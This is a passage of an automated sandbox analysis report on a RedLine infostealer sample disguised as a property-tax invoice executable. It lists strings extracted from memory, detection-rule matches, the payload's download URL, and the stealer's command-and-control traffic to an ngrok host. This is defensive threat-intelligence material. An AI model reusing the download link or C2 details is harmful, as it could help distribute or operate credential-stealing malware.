Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.tcp.eu.ngrok.io:176854
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356559558.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000003.347876845.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://forms.rea
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357012333.0000000002D47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://service.r
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://support.a
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356899124.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentme
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/t_
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: wget.exe, 00000002.00000002.245363961.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_T
Source: wget.exe, 00000002.00000002.245324193.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, cmdline.out.0.dr	String found in binary or memory: http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.adob
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://helpx.ad
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 2.tcp.eu.ngrok.io:17685Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: www.sdrclm.cn

Source: global traffic

HTTP traffic detected: GET /vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like GeckoAccept: */*Accept-Encoding: identityHost: www.sdrclm.cnConnection: Keep-Alive

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen

PE file has nameless sections

Source: P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr

Static PE information: section name:

PE file contains section with special chars

Source: P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr

Static PE information: section name: T,y"J8

Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.13.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.0.P90GT_Invoice_Related_Property_Tax_P800.exe.2d0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.2d0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.11.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
